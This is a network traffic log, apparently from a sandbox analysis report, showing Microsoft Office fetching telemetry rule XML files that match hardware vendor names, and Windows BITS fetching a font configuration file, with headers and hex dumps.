2024-12-06 21:08:31 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 21:08:31 GMT Content-Type: text/xml Content-Length: 464 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97FB6C3C" x-ms-request-id: 431871c3-501e-0047-55cc-45ce6c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T210831Z-1746fd949bdhk6hphC1EWRaw3c00000004g000000000eba9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 21:08:31 UTC	464	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 49 69 5d 5b 47 67 5d 5b 41 61 5d 5b 42 62 5d 5b 59 79 5d 5b 54 74 5d 5b 45 65 5d 20 5b 54 74 5d 5b 45 65 5d 5b 43 63 5d 5b 48 68 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 47 67 5d 5b 59 79 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120623" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <SR T="2" R="([Gg][Ii][Gg][Aa][Bb][Yy][Tt][Ee] [Tt][Ee][Cc][Hh][Nn][Oo][Ll][Oo][Gg][Yy])"> <S T="1" F="1" M="Ignor

Session ID	Source IP	Source Port	Destination IP	Destination Port
24	192.168.2.7	49733	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 21:08:31 UTC	192	OUT	GET /rules/rule120622v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 21:08:31 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 21:08:31 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8CEAC16" x-ms-request-id: de914170-201e-0000-68ad-45a537000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T210831Z-1746fd949bd4w8sthC1EWR700400000004e000000000rgmt x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 21:08:31 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120622" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
25	192.168.2.7	49732	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 21:08:31 UTC	192	OUT	GET /rules/rule120621v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 21:08:31 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 21:08:31 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA41997E3" x-ms-request-id: 16655d81-601e-0084-07c4-456b3f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T210831Z-1746fd949bdb8xvchC1EWRmbd400000004rg000000008mv1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 21:08:31 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 56 76 5d 5b 4d 6d 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120621" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <SR T="2" R="([Vv][Mm][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.7	49742	23.218.208.109	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 21:08:31 UTC	161	OUT	HEAD /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-12-06 21:08:32 UTC	479	IN	HTTP/1.1 200 OK Content-Type: application/octet-stream Server: Kestrel ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-weu-z1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json X-OSID: 2 X-CID: 2 X-CCC: GB Cache-Control: public, max-age=129020 Date: Fri, 06 Dec 2024 21:08:31 GMT Connection: close X-CID: 2

Session ID	Source IP	Source Port	Destination IP	Destination Port
27	192.168.2.7	49745	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 21:08:33 UTC	192	OUT	GET /rules/rule120626v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 21:08:33 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 21:08:33 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DACDF62" x-ms-request-id: dbf7ebc2-101e-00a2-0ac7-459f2e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T210833Z-1746fd949bdqpttnhC1EWRe1wg00000004dg00000000rkm7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 21:08:33 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120626" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
28	192.168.2.7	49744	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 21:08:33 UTC	192	OUT	GET /rules/rule120625v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 21:08:33 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 21:08:33 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:42 GMT ETag: "0x8DC582B9748630E" x-ms-request-id: c060231a-801e-00ac-2403-48fd65000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T210833Z-r1cf579d778t5c2lhC1EWRce3w000000014g0000000051h9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 21:08:33 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 46 66 5d 5b 55 75 5d 5b 4a 6a 5d 5b 49 69 5d 5b 54 74 5d 5b 53 73 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120625" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <SR T="2" R="([Ff][Uu][Jj][Ii][Tt][Ss][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
29	192.168.2.7	49746	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 21:08:33 UTC	192	OUT	GET /rules/rule120627v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 21:08:33 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 21:08:33 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:54 GMT ETag: "0x8DC582B9E8EE0F3" x-ms-request-id: 987987f9-101e-0034-0e02-4896ff000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T210833Z-r1cf579d778qlpkrhC1EWRpfc8000000012g000000009p82 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 21:08:33 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4e 6e 5d 5b 45 65 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120627" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <SR T="2" R="^([Nn][Ee][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
30	192.168.2.7	49748	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 21:08:33 UTC	192	OUT	GET /rules/rule120629v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 21:08:33 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 21:08:33 GMT Content-Type: text/xml Content-Length: 428 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC4F34CA" x-ms-request-id: 7b99b195-101e-0017-7009-4847c7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T210833Z-r1cf579d778dc6d7hC1EWR2vs80000000130000000007nbf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 21:08:33 UTC	428	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 2d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120629" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo]-[Ss][Tt][Aa][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
31	192.168.2.7	49749	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 21:08:33 UTC	192	OUT	GET /rules/rule120628v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 21:08:33 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 21:08:33 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C8E04C8" x-ms-request-id: e9e1dff1-101e-0065-7303-484088000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T210833Z-r1cf579d778t6txphC1EWRsd4400000000xg000000007pvd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 21:08:33 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120628" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.7	49751	23.218.208.109	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 21:08:33 UTC	239	OUT	GET /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMT Range: bytes=0-2147483646 User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-12-06 21:08:34 UTC	534	IN	HTTP/1.1 200 OK Content-Type: application/octet-stream Last-Modified: Tue, 16 May 2017 22:58:00 GMT ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" ApiVersion: Distribute 1.1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json X-Azure-Ref: 0WwMRYwAAAABe7whxSEuqSJRuLqzPsqCaTE9OMjFFREdFMTcxNQBjZWZjMjU4My1hOWIyLTQ0YTctOTc1NS1iNzZkMTdlMDVmN2Y= Cache-Control: public, max-age=28167 Date: Fri, 06 Dec 2024 21:08:33 GMT Content-Length: 55 Connection: close X-CID: 2
2024-12-06 21:08:34 UTC	55	IN	Data Raw: 7b 22 66 6f 6e 74 53 65 74 55 72 69 22 3a 22 66 6f 6e 74 73 65 74 2d 32 30 31 37 2d 30 34 2e 6a 73 6f 6e 22 2c 22 62 61 73 65 55 72 69 22 3a 22 66 6f 6e 74 73 22 7d Data Ascii: {"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Session ID	Source IP	Source Port	Destination IP	Destination Port
33	192.168.2.7	49757	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 21:08:35 UTC	192	OUT	GET /rules/rule120631v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 21:08:35 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 21:08:35 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B988EBD12" x-ms-request-id: e4103400-101e-008e-08d4-45cf88000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T210835Z-1746fd949bdjrnwqhC1EWRpg2800000004t000000000m35t x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 21:08:35 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 48 68 5d 5b 55 75 5d 5b 41 61 5d 5b 57 77 5d 5b 45 65 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120631" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <SR T="2" R="([Hh][Uu][Aa][Ww][Ee][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
34	192.168.2.7	49756	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 21:08:35 UTC	192	OUT	GET /rules/rule120630v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 21:08:35 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 21:08:35 GMT Content-Type: text/xml Content-Length: 499 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:45 GMT ETag: "0x8DC582B98CEC9F6" x-ms-request-id: 90a12f2a-001e-0079-1603-4812e8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T210835Z-r1cf579d7789trgthC1EWRkkfc000000011g00000000c1vx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 21:08:35 UTC	499	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120630" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
35	192.168.2.7	49759	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 21:08:35 UTC	192	OUT	GET /rules/rule120633v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 21:08:35 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 21:08:35 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB32BB5CB" x-ms-request-id: 75599bc5-d01e-008e-7c03-48387a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T210835Z-r1cf579d778w59f9hC1EWRze6w00000000s00000000029tf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 21:08:35 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 53 73 5d 5b 41 61 5d 5b 4d 6d 5d 5b 53 73 5d 5b 55 75 5d 5b 4e 6e 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120633" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <SR T="2" R="([Ss][Aa][Mm][Ss][Uu][Nn][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
36	192.168.2.7	49758	13.107.246.63	443

